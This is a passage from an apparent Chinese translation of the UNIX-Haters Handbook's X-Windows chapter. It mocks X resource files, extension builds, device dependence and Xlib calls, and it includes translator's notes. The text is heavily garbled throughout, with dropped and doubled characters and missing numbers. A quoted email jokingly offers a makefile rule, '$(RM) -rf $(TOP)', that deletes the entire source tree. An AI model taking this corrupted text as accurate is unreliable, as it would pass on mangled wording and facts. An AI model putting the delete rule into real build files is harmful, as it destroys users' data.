的 组 件 树 , 找 出 需 要 修 改 的 部 分 如 果 不 是 , 那 就就 麻 烦 了 , 程程 序 能 调 用 XgetDefault,<br />
这 个 函 数 既 不 理 任 何 配 置 类 , 不 理 命 行 的 -xrm 选 。<br />
在 程程 序 运 行 时 , 找 出 某 个 特 配 置 的 值 是 很 有 趣 的 , 因 配 置 来 自 任 何 一 个<br />
途 径 ( 有 先 序 , 但 X 从 R 到 R 再 到 R, 这 个 序 来 去去 )<br />
• .Xdefaults( 仅 当 前 没没 有 运 行 过 xrdb)。<br />
• 命 行 选 ,-xrm 'thing.resource:value'。<br />
• xrdb, 通 过 .xsession 或或 .xinitrc 运 行 , 该 程程 序 调 用 cpp 处 理 传 入 的 文 件 , 所 文<br />
件 包 (#include) 一 个 星 球 的 垃 圾 。 对 了 , 文 件 中 义 (#define) 了<br />
COLOR 和 别 的 东 西 , 所 你 能 更 好 地 了 解解 显 示 的 类 型 。<br />
• 环 境 XENVIRONMENT 指指 向 的 文 件 。<br />
<br />
译 注 Hewlett-Packard Visual User Environment, 惠 开 发发 的 X Window 桌 环 境 , 先 用 于 Domain/OS,<br />
用 于 HP-UX。<br />
<br />
译 注 Gardner Cohen。<br />
<br />
译 注 X Toolkit Intrinsics, 第 一 个 封封 装装 Xlib 的 向 对 象 函 数 , 引 入 了 “ 组 件 (widget)” 概概 念 。<br />
<br />
译 注 .Xdefaults 文 件 用 配 置 类 组 类 配 置 。<br />
<br />
译 注 Xt 程程 序 的 标 准 选 一 , 能 是 覆 程程 序 的 缺 省 配 置 。<br />
<br />
译 注 xrdb 在 启 查 询 当 前 X 服 的 能 力 , 然 据据 义 一 系 列 宏 , 再 把把 这 些 宏 和 输 入 文 件 一<br />
起 传 递 给 C 处 理 程程 序 , 最 将将 处 理 的 结 果 置 窗窗 的 属属 性 。 中 CLASS 的 义 遵 循 服 窗窗<br />
的 色 彩 模 式 , 如 果 是 彩 色 的 , 那 么 COLOR 是 一 个 义 过 的 宏 。
X 迷 信 录<br />
· ·<br />
• 用 户户 目 录 的 .Xdefaults-hostname 文 件 。<br />
• 目 录 /usr/lib/X/app-defaults( 或或 者 环 境 XAPPLRESDIR 指指 向 的 置 ), 和 所<br />
谓 程程 序 类 ( 生 方 式 完 全 不 直 觉 xparty XParty,mwm Mwm,xrn<br />
XRn, 等 等 ) 对 的 文 件 。 任 何 编 译 装装 X 的 人 都 能 改 这 个 目 录 的 缺<br />
省 置 。<br />
除 外 , 那 些 真 标 新 立立 的 程程 序 能 从 任 何 喜 的 地 方 读 、 并<br />
配 置 信 息 。 最 近 用 Motif 新 改 写 过 ,xrn 的 弱 智 配 置 管 理 把把 修 改 <br />
的 配 置 到 处 乱 扔 既 有 当 前 运 行 目 录 , 有 用 户户 的 目 录 。 在 启 时 ,xrn<br />
开 心 地 到 所 有 这 些 地 方 寻 找 并 载 入 若 字 搞搞 笑 的 文 件 , 中 多 数 都 <br />
“ 点 ” 开 头 , 所 列 出 文 件 时 不 有 碍 观 瞻 。<br />
这 不 算 完 。 基 于 WCL 的 用 程程 序 编 写 者 载 入 配 置 文 件 , 还 据据<br />
中 ( 及 别 的 配 置 文 件 中 ) 的 字 生 新 的 组 件 。<br />
这 一 切 导 致 的 果 是 , 一 个 智 力 在 均 水水 的 用 户户 , 即 便 能 够 理 解解<br />
配 置 <br />
snot.goddamn.stupid.widget.fontList: micro<br />
是 在 修 改 用 程程 序 snot 的 字 体 , 多 半半 还 是 无 法 知 道 该 在 哪 保 存<br />
这 个 配 置 。 在 隔 壁 间 的 乔 插插 嘴 “ 就就 放 到 你 的 .Xdefaults 呗 。”<br />
但 或或 乔 好 从 弗 雷 德 那 拷拷 贝 了 一 个 .xsession 文 件 , 写 的 是 xrdb<br />
.xresources, 那 么 .Xdefaults 将将 永永 无 人 津 。 还 有 一 种 情 况 , 乔 没没 有 运 行<br />
xrdb, 前 没没 过 时 需 要 运 行 xrdb .Xdefaults, 那 在 新 登 录 前 ,<br />
他 困 惑 于 何 编 辑 .Xdefaults 不 起 作 用 ─睜─睜 因 他 没没 有 新 运 行 xrdb 来 <br />
新 载 入 配 置 。 对 了 , 如 果 乔 在 家 使 用 NCD , 情 况 又 得 不 一 了 , 而 他<br />
不 知 道 中 的 原原 因 , 能 承 认 “ 有 时 侯 就就 是 不 一 。”<br />
无 的 用 户户 帕 特 发发 现 XAPPLRESDIR 是 解解 决 法 , 因 这 每 个 用 <br />
有 不 的 配 置 文 件 。 然 而 帕 特 不 知 道 该 用 什 么 类 , 既 然 执执 行 程程 序 <br />
做 snot, 那 么 就就 尝尝 试 Snot 和 XSnot 和 Xsnot, 但 都 不 起 作 用 。 手手 册 页 没没<br />
有 任 何 帮 , 因 漏 掉 了 用 程程 序 类 , 而 是 描 述 了 “*” 开 头 的<br />
配 置 。 帕 特 求 于 高 手手 , 者 用 emacs 打 开 执执 行 文 件 , 在 中 搜搜 索 ( 不<br />
区 分 大 小小 写 的 ) 字 符 串 “snot”, 结 果 发发 现 了 几 个 “SNot”, 然 建 试 试 用<br />
这 个 类 。 于 起 作 用 了 , 万 岁 ! 高 手手 认 甚 至 用 SNot*fontList: micro<br />
<br />
译 注 运 行 在 X Window 通 过 网 新 闻 传 输 协 (Network News Transport Protocol,NNTP) 阅 读<br />
新 闻 的 程程 序 。<br />
<br />
译 注 Wade's Common Lisp, 现 了 Common Lisp 的 一 个 子 , 作 者 是 韦 德 核 尼 西 (Wade Hennessey),<br />
提 供 Unix 的 Common Lisp 共 享 和 完 整 的 开 发发 环 境 。<br />
<br />
译 注 该 是 指指 网 计 算 备 (Network Computing Devices) 开 发发 的 “ 瘦 户户 端 ” 件 , 例 如 X<br />
端 。
· · X-Windows 之 灾<br />
改 该 用 程程 序 中 的 所 有 字 体 , 但 对 有 几 个 组 件 却 不 起 作 用 。 又 有<br />
人 发发 现 帕 特 的 .xresources( 或或 包 的 文 件 ) 中 有 一 行 *goddamn*fontList:<br />
×, 这 是 从 史 迪 那 拷拷 贝 来 的 ─睜─睜 这 人 去去 辞 了 ─睜─睜 不 管 的 是 什<br />
么 , 这 个 比 帕 特 的 配 置 更 “ 体 ”, 因 先 级 更 高 。 史 迪 啊 史 迪 , 真<br />
抱抱 歉 , 你 不 能 还 得 这 个 配 置 是 给 哪 个 用 程程 序 准 备 的 。 真 是 了 。<br />
呜 呼 , 的 事 情 却 一 再 发发 生 。 想 想 如 何 修 改 窗窗 管 理 的 行 就就 清 楚楚<br />
了 , 就就 算 知 道 必 新 运 行 xrdb, 然 选 择 窗窗 管 理 的 启 菜 单 ( 这<br />
个 多 数 人 都 没没 有 , 因 他 们 的 .mwmrc 都 是 从 隔 壁 拷拷 贝 的 ), 或或 者 脆 新<br />
登 录 , 那 个 的 题 还 是 挥 不 去去 我 得 修 改 哪 个 文 件 呢 ?.mwmrc 吗 ?<br />
Mwm 吗 ?.Xdefaults 吗 ?.xrdb 吗 ?.xresources 吗 ?.xsession 吗 ?.xinitrc 吗 ?<br />
还 是 .xinitrc.ncd 呢 ?<br />
这 一 切 就就 是 不 能 按按 照 我 的 期 作 ? 我 在 使 用 旁 边 的 作 站 ,<br />
有 些 窗窗 却 跑 到 原原 来 的 机 ? 当 我 通 过 rlogin 接接 到 别 的 机 , 运 行<br />
这 个 用 时 却 看 到 些 怪 的 X 消 息 和 程程 序 崩 溃 ? 我 怎 么 才 能 掉 窗窗 的 “ 自<br />
升 起 ” 行 ? 我 不 知 道 这 是 怎 么 来 的 , 不 过 包 了 鲍 伯 的 配 色 文 件 , 所<br />
有 配 置 就就 全 乱 套 了 , 还 找 不 到 原原 因 !<br />
杀 了 吧 , 已 经 地 狱 了 !!!<br />
迷 信 :X 可 “ 移 植揆 ”<br />
…盚…盚 那 么 伊 朗 门 就就 不 是 换 人 。<br />
就就 算 你 成 编 译 了 X 程程 序 , 不 能 保 证 和 你 的 X 服 一 起 运 行 。<br />
如 果 用 程程 序 需 要 的 扩扩 展展 X 服 没没 有 , 那 还 是 玩 不 转 。X 用 无 法 自 行 扩扩<br />
展展 服 ─睜─睜 扩扩 展展 能 必 事 先 编 译 接接 到 服 。 大 多 数 稍 微 有 点 意 思<br />
的 扩扩 展展 都 把把 X 服 身 改 得 翻 地 覆 , 而 且 需 要 新 编 译 , 这 对 不 是 一<br />
件 轻 松 的 事 情 。 的 帖 子 告 我 们 , 在 编 译 “ 移移 植植 ” 的 X 服 扩扩 展展<br />
时 , 有 多 少少 让 人 蛋 疼 的 趣 。<br />
期 Wed, Mar :: PST<br />
来 自 杰 米 核 扎 瓦 斯 基 [jwz@lucid.com]<br />
发发 给 UNIX 痛 者<br />
题 X, 或或 者 我 如 何 学 不 再 担 心 并 爱 这 颗 炸 弹<br />
永永 不 要 相 信 某 个 X 服 扩扩 展展 的 装装 指指 。 对 不 要 , 那 是 在 浪 你 的 时 间 。 你 心 <br />
能 是 这 么 想 的 “ 我 要 把把 这 段 码 放 好 , 然 新 编 译 X 服 , 那 么 X 就就 更 <br />
模 块 化 一 点 点 , 这 很 容 易 。 再 绕 开 一 个 愚 蠢蠢 的 计 错 误 , 我 就就 大 告 成 了 。” 哈 哈 ! 和 你<br />
即 将将 临 的 遭 遇 相 比 , 吃 玻 璃 都 不 算 什 么 。<br />
整 整 四 个 小小 时 的 煎 熬 , 包 括括 必 在 一 堆 目 录 中 建 “X” 的 符 链 接接 指指 向 X 头 文 件<br />
的 真 目 录 , 因 自 生 的 makefile 有 这 的 路 径
X 迷 信 录<br />
· ·<br />
-I../../../../../../include<br />
而 不 是 <br />
-I../../../../include,<br />
或或 者 更 好 的 <br />
-I../../.././../mit/./../../../include<br />
然 还 是 得 手手 修 改 这 些 生 的 makefile, 因 有 些 乱 七 糟 的 处 理 符 没没 有 义<br />
并 成 “ 无 法 运 行 make” 这 的 错 误 接接 来 是 “makedepend”, 虽 然 你 不 心 这 是<br />
嘛 的 , 但 还 是 生 了 错 误 , 因 扩扩 展展 的 装装 脚 在 目 录 中 建 符 链 接接 而 不 是 拷拷 贝 文<br />
件 , 而 这 又 和 “..” 冲 突突 了 还 有 很 多 , 很 多 , 很 多 …盚…盚<br />
在 被被 这 些 题 折折 腾 , 你 于 醒 悟 了 , 想 要 编 译 X 任 何 基 部 分 , 唯 一 的 法 是 回 到<br />
目 录 树 的 顶 层 ─睜─睜 距 离 想 要 编 译 出 的 程程 序 有 五 级 目 录 遥 ─睜─睜“ 全 部 编 译 吧 !”,<br />
然 在 一 个 小小 时 makefile 生 完 毕 时 回 来 , 看 看 有 没没 有 任 何 编 译 的 错 误 。<br />
接接 着 你 发发 “ 什 么 编 译 那 一 块 ? 那 我 没没 有 任 何 修 改 , 这 是 在 嘛 ?”<br />
别 了 , 你 就就 得 编 译 整 个 PEX 扩扩 展展 , 即 使 和 你 最 要 运 行 的 程程 序 一 毛毛 钱 系 都 没没<br />
有 。 这 是 了 你 好 !<br />
最 你 认 到 自 己 的 错 误 , 当 然 , 你 认 到 该 一 贯 坚 持 的 做 法 <br />
all::<br />
$(RM) -rf $(TOP)<br />
但 是 小小 心 , 第 二 行 不 要 用 空空 格 开 头 。<br />
从 整 体 看 ,X 扩扩 展展 是 失 的 , 有 Shaped Window 算 是 例 外 , 这 个<br />
扩扩 展展 专 门 计 来 现 圆 形 窗窗 , 比 如 时 钟 或或 眼 珠 什 么 的 。 然 而 就就 大 多 数 用<br />
开 发发 者 而 言言 , 他 们 不 自 找 麻 烦 去去 使 用 专 有 扩扩 展展 , 比 如 Display PostScript<br />
, 因 X 端 和 MIT 的 服 都 不 支 持 。 就就 算 是 那 些 更 遍 的 扩扩 展展 , 像 共<br />
享 内 存 、 双 缓 冲 区 , 或或 者 函 数 , 多 人 使 用 时 仍 然 感 到 很 纠 结 因 <br />
不 总 是 用 , 所 你 得 准 备 好 最 的 情 况 。 但 要 是 确 不 需 要 某 个 扩扩 展展 ,<br />
嘛 用 特 殊 判 断 使 码 复 杂 化 ? 而 多 数 确 实 使 用 了 扩扩 展展 的 用 程程 序 假 扩扩<br />
展展 用 , 否 就就 死 给 你 看 。<br />
于 X 支 持 图 形 显 示 的 最 小小 共 特 性 , 有 个 最 值 得 病 的 地 方 这 种<br />
方 法 把把 所 有 厂厂 商 到 一 个 水水 , 结 果 不 是 一 些 白 痴 得 很 的 一 窝<br />
蜂 地 倾 销 的 过 时 垃 圾 , 还 是 高 端 的 牌 子 作 站 , 都 一 没没 法 用 <br />
期 Wed, Apr :: EDT<br />
来 自 斯 蒂 芬 核 斯 特 拉拉 斯 曼 <br />
<br />
译 注 PHIGS Extensions to X, 支 持 PHIGS( 一 个 渲 染 D 图 形 的 API 标 准 ) 的 X 扩扩 展展 , 随 着 OpenGL 的<br />
起 而 衰衰 落 , 月 从 XR.. 完 全 删 除 。<br />
<br />
译 注 全 称 是 X 非 矩 形 窗窗 形 状 扩扩 展展 (X Nonrectangular Window Shape Extension), 允 现 任 意 的<br />
非 矩 形 窗窗 。<br />
<br />
译 注 NeXT 和 Adobe 共 开 发发 的 图 形 描 述 语 言言 , 发发 布 第 一 个 版 。X Window 通 过 扩扩 展展 支 持<br />
Display PostScript。
· · X-Windows 之 灾<br />
发发 给 UNIX 痛 者<br />
题 来 自 地 狱 的 显 示 置<br />
我 的 惠 / 机 配 有 两 英 寸 显 示 , 一 些 贵 得 离 谱 的 Turbo SRX 图 形 硬<br />
件 驱 。 你 大 概概 我 能 明 确 告 X Window 有 两 个 显 示 备 , 边 的 和 右 边 的 , 但 这<br />
个 过 程程 简 单 到 不 得 了 。 结 果 呢 , 如 果 麦 金 塔 那 的 玩 都 做 得 到 , 那 么 Unix 必 把把 事<br />
情 搞搞 得 无 比 复 杂 , 否 无 法 证 明 到 高 级 在 什 么 地 方 。<br />
所 , 我 真 拥拥 有 的 是 两 个 显 示 备 ,/dev/crt0 和 /dev/crt1。 不 , 我 错 了 。<br />
你 看 , 每 个 Turbo SRX 显 示 备 有 一 个 图 形 ( 每 个 像 素 ), 和 一 个 覆 ( 每<br />
个 像 素 )。 中 覆 窗窗 系 什 么 的 使 用 , 需 要 光 标 类 , 而 图 形 用 来<br />
绘 制 D 图 形 , 所 我 需 要 四 个 备 文 件 <br />
/dev/crt0<br />
/dev/crt<br />
/dev/ocrt0<br />
/dev/ocrt<br />
右 显 示 的 图 形 <br />
显 示 的 图 形 <br />
右 显 示 的 覆 <br />
显 示 的 覆 <br />
不 , 我 又 错 了 。<br />
/dev/ocrt0 表表 示 覆 中 的 。 剩 的 那 呢 ? 想 必 是 保 留 起 来 了 , 当 全 国<br />
爆 发发 像 素 瘟 疫 时 供 联 邦 紧 急 救 援援 队 使 用 。 如 果 你 甘 愿 过 着 提 心 胆 , 随 时 被被 FBI 调 查 的<br />
生 活 , 那 么 通 过 /dev/o4crt0 和 /dev/o4crt1 在 覆 真 绘 图 。 所 ,<br />
需 要 告 X Window 使 用 这 些 o 覆 , 你 就就 能 在 图 形 绘 图 了 。<br />
不 , 我 还 是 错 了 。<br />
X 才 不 待 见 这 些 的 覆 。 因 我 使 用 的 Motif 在 复 杂 了 , 你 必 给 每 个 窗窗<br />
一 英 寸 厚厚 的 边 框 , 免 鼠 标 失 效 点 不 中 , 所 你 的 组 件 计 需 要 参参 考 莫 斯 科<br />
国 机 场 跑 道 的 风 格 手手 册 。 我 的 程程 序 有 个 浏 览 , 用 不 颜 色 区 分 各 种 节 点 。 和<br />
IBM PC 这 的 档 品 不 , 这 作 站 强 悍 的 、 售 价 美 的 、 颜 色 深 度 高 达<br />
bit 的 显 示 硬 件 然 不 能 时 显 示 种 颜 色 。 如 果 你 在 使 用 那 个 “Motif 自 渎 套 装装 ”,<br />
那 么 请 求 第 种 颜 色 时 程程 序 就就 崩 溃 。<br />
那 么 , 我 暗 自 琢 磨 着 , 该 在 图 形 运 行 X Window。 这 就就 是 X 无 法 使 用 有 硬 件<br />
光 标 的 覆 , 时 我 不 能 使 用 酷 到 毙毙 的 D 图 形 硬 件 , 因 每 绘 制 一 个 立立 方 体 ,<br />
我 都 需 要 把把 帧 缓 冲 从 X 那 “ 偷 ” 过 来 用 用 , 但 X 对 度 又 臭 又 硬 。<br />
X 倒 是 运 行 起 来 了 , 但 我 的 真 收 获 是 一 种 独 一 无 二 的 趣 。/dev/console 使 用 覆 <br />
, 结 果 所 有 的 控 制 消 息 都 白 色 、 点 、Troglodyte 粗 体 出 现 在 别 的 屏 幕 显 示<br />
盒 盒 比 如 我 在 运 行 的 演 示 程程 序 盒 盒 。 不 任 何 时 候 , 验 的 任 何 人 使 用 我 的<br />
机 的 打 印 机 , 或或 者 NFS 因 超 时 尿 湿 了 裤 子 , 或或 者 某 文 件 服 状 况 不 佳 “”<br />
需 个 小小 时 机 维 护 , 就就 有 一 消 息 跑 到 我 的 屏 幕 , 就就 像 罹 患 抽 障 碍 症 的 法 庭 书 <br />
。<br />
通 常 的 X 屏 幕 刷 新 命 是 无 能 力 的 , 因 X 不 能 覆 。 我 非 得 自 己 写 个 C 程程<br />
序 , 从 xterm 窗窗 启 不 , 就就 是 负 把把 搞搞 乱 的 覆 清 扫 净 。<br />
我 的 超 级 D 图 形 硬 件 最 使 用 /dev/crt1, 而 /dev/crt0 留 给 了 X Window。 当 然 , 这 就就<br />
是 我 不 能 把把 鼠 标 移移 到 D 图 形 显 示 去去 , 但 惠 的 技 术 支 持 得 好 ,“ 什 么 要 用 鼠<br />
标 指指 向 绘 制 好 的 D 图 形 呢 ?”<br />
迷 信 :X 与 设 备 无捂 关<br />
于 所 有 图 形 都 像 素 标 指指 ,X 与 备 极 度 相 。 在 不 分 辨 率 的<br />
屏 幕 , 图 形 显 示 的 大 小小 是 不 一 的 , 所 如 果 想 固 的 大 小小 绘 制 , 你 得
X 迷 信 录<br />
· ·<br />
自 己 把把 所 有 标 伸 缩 一 外 方 形 的 像 素 不 是 每 个 屏 幕 都 有 , 除 非 打<br />
算 忍 方 形 成 长 方 形 , 圆 形 成 椭椭 圆 形 , 你 还 得 据据 像 素 长 比 例 调 整<br />
所 有 标 。<br />
在 X 怪 的 向 像 素 的 图 像 规 作 用 , 有 些 简 单 的 任 得 很<br />
复 杂 , 比 如 填 和 勾 画 几 何 形 状 。 当 你 调 用 XFillRectangle 填 × 的 <br />
方 形 , 运 行 结 果 确 是 填 了 个 像 素 , 但 是 如 果 把把 的 参参 数 传 给<br />
XdrawRectangle, 你 遭 遇 “ 额 外 像 素 ”, 因 绘 制 的 是 × 的 方<br />
形 , 多 出 的 像 素 在 右 侧 和 !!! 要 是 觉 得 难 置 信 , 自 己 翻 翻 X 手手 册 吧 <br />
第 一 卷 ,. 节 。 手手 册 自 我 感 觉 好 地 解解 释 到 , 给 待 填 的 矩 形 x 和 y <br />
置 , 时 给 度 和 高 度 减 去去 , 然 好 填 满 边 框 内 , 这 是 很 容 易 的<br />
一 件 事 情 然 指指 出 ,“ 但 是 至 于 圆 , 情 况 要 困 难 得 多 ( 或或 没没 有<br />
移移 植植 的 法 )。” 就就 是 , 在 X Window , 移移 植植 的 方 式 确 填 和<br />
勾 画 任 意 缩 放 的 圆 , 既 不 多 画 不 少少 画 , 是 个 棘棘 手手 的 题 。 想 想 吧 , 你 甚<br />
至 无 法 绘 制 粗 线 勾 边 的 矩 形 , 因 线 度 的 单 是 缩 放 的 像 素 , 所 <br />
如 果 屏 幕 像 素 是 长 方 形 的 , 即 便 缩 放 了 矩 形 四 角 的 标 来 补补 偿 长 比 , 垂 直<br />
和 水水 线 的 度 还 是 不 。<br />
至 于 颜 色 , 那 完 全 就就 是 飞 行 马 戏 团<br />
<br />
的 翻 版 。X 现 备 无 的 方 式 是<br />
把把 一 切 都 当 成 嗑 过 药 的 MicroVAX 帧 缓 冲 。 要 成 真 移移 植植 的 X 用 程程<br />
序 , 就就 得 学 蒙 提 蟒 剧 “ 奶 酪 店 ” 中 执执 拗 的 , 或或 者 “ 蟒 与 圣<br />
杯 ” 中 的 寻 杯 人 。 哪 怕 最 简 单 的 X 用 程程 序 要 回 答 多 困 难 的 题 <br />
服捱 器 : 你 要 哪 个 显捕 示 ?<br />
户户 端 display = XOpenDisplay("unix:0");<br />
服捱 器 : 你 的 措 窗 口 是捔 ?<br />
户户 端 root = RootWindow(display,DefaultScreen(display));<br />
服捱 器 : 你 的 窗 口 是捔 ?<br />
户户 端 win = XCreateSimpleWindow(display,<br />
root, 0, 0, , , ,<br />
BlackPixel(display,DefaultScreen(display)),<br />
WhitePixel(display,DefaultScreen(display)));<br />
服捱 器 : 好 吧 , 你 可 继 续 。<br />
( 户户 端 通 过 了 )<br />
服捱 器 : 你 要 哪 个 显捕 示 ?<br />
户户 端 display = XOpenDisplay("unix:0");<br />
服捱 器 : 你 的 颜 色 表 是捔 ?<br />
户户 端 cmap = DefaultColormap(display, DefaultScreen(display));<br />
<br />
译 注 蒙 提 蟒 的 经 电 视 喜 剧 系 列 。<br />
<br />
译 注 DEC 开 发发 的 端 小小 型 机 , 市 。<br />
<br />
译 注 Monty Python, 英 国 的 人 喜 剧 团 体 , 成 立立 于 期 。<br />
<br />
译 注 Cheese Shop,“ 飞 行 马 戏 团 ” 中 著 的 剧 。<br />
<br />
译 注 Monty Python and the Holy Grail, 蒙 提 蟒 成 员 出 演 的 喜 剧 电 影 , 映 。
· · X-Windows 之 灾<br />
服捱 器 : 你 最捭 喜 欢 的 颜 色 是捔 ?<br />
户户 端 favorite_color = 0; /* Black. */<br />
/* 糟 糕 , 我 的 意 思 是 */<br />
favorite_color = BlackPixel(display, DefaultScreen(display));<br />
户户 端 /* AAAYYYYEEEEE!!*/<br />
( 户户 端 吐 并 坠 入 深 渊 )<br />
服捱 器 : 你 要 哪 个 显捕 示 ?<br />
户户 端 display = XOpenDisplay("unix:0");<br />
服捱 器 : 你 的 显捕 示 配 置 是捔 ?<br />
户户 端 struct XVisualInfo vinfo;<br />
if (XMatchVisualInfo(display,DefaultScreen(display),<br />
, PseudoColor, &vinfo) != 0)<br />
visual = vinfo.visual;<br />
服捱 器 : XconfigureWindow 请 求 的 净 速 率 是捔 ?<br />
户户 端 /* 是 指指 SubStructureRedirectMask 还 是 ResizeRedirectMask? */<br />
服捱 器 : 什 么 ? 怎 么 知 道 ? 啊 啊 啊 啊 呵 !!!!<br />
( 服 吐 并 坠 入 深 渊 )<br />
X 图 形 能 : 牛 头 不 对 马 嘴<br />
在 X Window 编 程程 , 就就 好 像 用 罗 马 数 字 计 算 π 的 方 。<br />
盒 盒 无 氏氏<br />
NeWS 和 Display PostScript 采 用 PostScript 图 像 模 型 , 因 而 一 种 高 级<br />
的 、 标 准 的 、 备 无 的 方 式 , 解解 决 了 所 有 这 些 怕 的 题 。NeWS 成 了<br />
针 对 输 入 、 轻 型 程程 、 网 通 信 和 窗窗 的 扩扩 展展 要 采 用 一 种 标 系 ,<br />
绘 制 图 形 和 响 输 入 就就 都 不 成 题 , 还 借 PostScript 路 径 义 窗窗 形<br />
状 。X 的 Display PostScript 扩扩 展展 考 虑 了 输 出 , 而 任 何 窗窗 系 的 题 都<br />
要 通 过 X 解解 决 。NEXTSTEP 是 一 个 用 Objective-C 编 写 的 包 , 于 NeXT<br />
<br />
自 己 的 窗窗 服 顶 端 , 中 Display PostScript 用 来 绘 图 但 不 负 输 入 <br />
NEXTSTEP 的 图 像 模 型 十十 分 秀 , 包 计 好 。 但 Display PostScript<br />
服 生 无 法 编 写 交 互 码 , 因 所 有 事 件 都 要 发发 给 户户 端 处 理 , 外<br />
包 运 行 在 户户 端 , 所 无 法 现 NeWS 的 一 些 点 , 比 如 带 、<br />
文 切 换 和 码 共 享 。 尽 管 如 , 凭 借 着 备 无 的 图 像 模 型 ,NEXTSTEP<br />
相 比 X 还 是 有 越 性 。<br />
又 回 来 ,X 的 拼 写 方 式 多 保 持 不 , 而 NeXT 的 旗 舰 品 却 来<br />
去去 一 开 始 是 “NextStep”, 接接 着 是 “NeXTstep”, 然 到 “NeXTStep”, 又<br />
<br />
译 注 NeXT 电 脑 , 史 蒂 核 乔 布 斯 建 于 , 开 发发 的 NEXTSTEP 操 作 系 和 开 发发 环 境 <br />
有 影 响 力 。 苹 果 电 脑 在 并 购 了 NeXT,NEXTSTEP 成 开 发发 Mac OS X 的 基 础 。<br />
<br />
译 注 Display PostScript 服 是 X 服 的 扩扩 展展 , 是 一 个 单 独 的 程程 。
X: 路 不 通<br />
· ·<br />
到 “NeXTSTEP”, 再 到 “NEXTSTEP”, 及 最 的 字 “OpenStep”。 标 准<br />
的 、 一 致 的 拼 写 当 然 有 利 于 市 场 推 广 。<br />
然 而 很 不 幸 ,NeWS 和 NEXTSTEP 都 成 政 治治 的 失 者 , 因 二 者 遭<br />
的 困 扰 讨 人 厌 的 字 大 小小 写 方 式 , 和 阿 米 害 者 心 。<br />
X: 路 不 通<br />
X 就就 是 这 么 愚 蠢蠢 , 什 么 人 们 还 是 在 用 ? 真 是 失 啊 。 大 概概 因 大 家 没没<br />
有 选 择 吧 。( 请 看 图 .)<br />
没没 人 真 的 愿 意 运 行 X, 我 们 只 是捔 想 在 大 屏 幕 时 运 行 多 个 程程 序 。 但 如<br />
果 你 要 运 行 Unix, 那 有 X 和 原原 始 的 字 符 端 选 。<br />
, 您 挑挑 个 座 吧 。<br />
<br />
译 注 Amiga, 阿 米 计 的 个 人 电 脑 系 列 品 , 采 用 摩摩 托托 罗 拉拉 MC 系 列 处 理 、K 内<br />
存 和 抢抢 先 式 多 任 操 作 系 , 投 放 市 场 , 成 一 种 流 行 的 多 媒 体 用 电 脑 。<br />
<br />
译 注 阿 米 电 脑 市 前 , 阿 米 即 被被 海 军 准 将将 收 购 , 者 于 倒 。 阿 米 <br />
电 脑 的 用 户户 社 区 中 始 存 在 着 一 种 情 结 , 认 阿 米 电 脑 被被 边 缘 化 是 一 场 整 个 业 界 的 谋 , 而 总 有 一<br />
阿 米 再 起 。
· · X-Windows 之 灾<br />
方 告 示 , 立立 即 张 贴<br />
X<br />
危 险 的 病 毒 !<br />
首 先 是 一 些 历 史 在 MIT 的 娜 目 中 , 处 于 隔 离 状 的 X Window 发发 生 了 泄泄<br />
露 。 当 被被 发发 现 ,MIT 的 开 声 明 “MIT 认 没没 有 任 …盚…盚” 非 常 让 人 不 。 接接 着 病<br />
毒 传 播播 到 DEC, 从 腐 蚀 了 该 组 的 技 术 判 断 能 力 。<br />
DEC 遭 到 破 , 邪 恶 的 X 协 成 立立 了 , 想 方 法 将将 X 纳 入 一 个 计 划 , 宰<br />
和 控 制 地 球 所 有 的 交 互 式 窗窗 系 的 服 。 有 时 候 这 个 秘秘 密 组 将将 X 免 分 发发<br />
给 毫毫 不 知 情 的 害 人 , 所 X 成 的 破 难 估 算 。<br />
X 真 是 痴 肥 盒 盒 不 是 占 据据 的 硬 空空 间 , 还 是 耗 的 系 资 源 , 你 知 道 这 对 没没<br />
有 好 处 。 我 们 需 要 保 护 无 辜 的 用 户户 不 这 种 危 险 病 毒 的 威 , 甚 至 在 你 阅 读 的 时 ,<br />
X 的 源 码 和 运 行 环 境 仍 存 在 于 成 百 千千 的 机 , 甚 至 包 括括 你 自 己 的 机 。<br />
DEC 已 经 开 始 销 售 携携 带 这 种 致 命 感 染 的 机 , 必 摧摧 毁 。<br />
这 就就 是 件 好 心 事 的 结 果 。X 通 过 扭 曲 对 “ 好 件 是 什 么 , 不 是 什 么 ” 的 理<br />
解解 而 侵 害 无 辜 的 用 户户 。 这 种 邪 恶 的 窗窗 系 必 被被 摧摧 毁 。<br />
有 一 ,DEC 和 MIT 必 将将 这 种 骇 人 闻 的 软 件 罪 行 负 , 必 将将 被被 法 庭 ,<br />
然 被被 支 付 软 件 善 。 在 回 这 些 指指 控 前 , 当 认 DEC 和 MIT 是 在 窝 藏 危 险<br />
的 件 罪 犯 。<br />
不 要 当 ! 对 X 不 。<br />
X Window, 完 美 错 误 。 X Window, 包 你 骂 娘 。 X Window, 一 洗 了 。 X Window, 狗 不 理 。<br />
X Window, 生 就就 怪 。 X Window, 没没 事 找 事 。 X Window, 差 到 发发 指指 。 X Window, 先 失 调 。<br />
X Window, 麻 烦 临 头 。 X Window, 无 知 无 畏 。 X Window, 化 缓 。 X Window, 你 跑 不 掉 。<br />
X Window, 东 瀛 秘秘 笈 。 X Window, 当 道 恶 人 。 X Window, 真 梦 魇 。 X Window, 够 你 。<br />
X Window, 想 别 想 。 X Window, 硬 件 克 星 。 X Window, 盲 人 瞎 马 。 X Window, 拖 累 效 率 。<br />
X Window, 化 简 繁 。 X Window, 过 时 锋 。 X Window, 从 没没 完 成 , X Window, 不 够 标 准 ,<br />
X Window, 件 灾 。 X Window, 给 人 笑 死 。 X Window, 双 题 。 X Window, 非 完 美 。<br />
X Window, 从 不 推 荐 。 X Window, 最 好 。 X Window, 生 不 如 死 。<br />
图 .: X Window 大 的 传 单
X: 路 不 通<br />
· ·
第 二 部 分 程 序 员 的 系 统 ?
第 章<br />
csh、 管 道 和 find<br />
不 给 力 的 动 力 工 具<br />
对 任 何 毫毫 无 法 , 能 把把 反 刍 的 音 当 作 命 ( 比 如 awk、grep、<br />
fsck 和 nroff) 的 操 作 系 , 我 都 有 生 的 厌 恶 。<br />
盒 盒 无 氏氏<br />
把把 Unix 比 作 “ 力 ” 是 毫毫 无 道 理 的 。 这 不 过 是 一 个 幌 子 , 背 掩 藏<br />
着 Unix 那 些 秘秘 而 不 的 命 补补 丁 和 东 拼 西 凑 的 用 程程 序 。 真 的 力 <br />
增 强 用 户户 的 作 能 力 , 而 无 需 额 外 的 精 力 和 指指 导 , 就就 像 任 何 用 手手 改 锥 和 手手<br />
钻 的 人 都 用 电 改 锥 和 电 钻 , 用 户户 不 用 搞搞 懂 电 气 、 马 达 、 扭 矩 、 电 磁 、 散 热<br />
